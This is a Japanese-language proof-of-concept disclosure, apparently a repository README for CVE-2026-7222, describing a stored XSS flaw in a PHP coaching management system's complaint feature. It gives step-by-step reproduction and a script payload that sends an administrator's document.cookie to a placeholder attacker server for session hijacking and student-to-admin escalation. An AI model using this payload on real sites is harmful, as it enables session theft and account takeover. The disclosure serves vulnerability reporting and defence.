xmyronn/cve-2026-7222-xssPHPコーチング管理システムにおける格納型XSS（CWE-79）の概念実証エクスプロイト。Cookie窃取によるセッションハイジャックと、学生から管理者への権限昇格を示します。
PHP製コーチング管理システム（Code-Projects.org） https://code-projects.org/coaching-management-system-in-php-with-source-code/
不明（ベンダーからバージョン情報は提供されていません。2026年4月時点でCode-Projects.orgから入手可能な最新バージョンでテスト済み）
CWE-79: ウェブページ生成時の入力の不適切な無害化（格納型クロスサイトスクリプティング）
このアプリケーションは、苦情および返信機能においてユーザー入力を適切にサニタイズしていません。低権限ユーザーによって注入された悪意のあるJavaScriptは保存され、管理者や教師などの高権限ユーザーが閲覧した際に実行されます。
さらに、返信機能にも脆弱性があり、管理者または教師が学生のセッションで実行されるJavaScriptを注入できる可能性があります。
これにより、複数のユーザーロールに影響を及ぼす格納型XSS脆弱性が発生します。
学生としてログインする
以下に移動する:
/modules/student/complaint.php
以下のペイロードで苦情を送信する:
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
管理者としてログインする
以下に移動する:
/modules/admin/incomingcomplaint.php
管理者が苦情を表示すると、ペイロードが自動的に実行される
管理者のセッションクッキーが攻撃者制御のサーバーに送信される
盗んだセッションクッキーを使用して管理者セッションを乗っ取る
深刻度: CRITICAL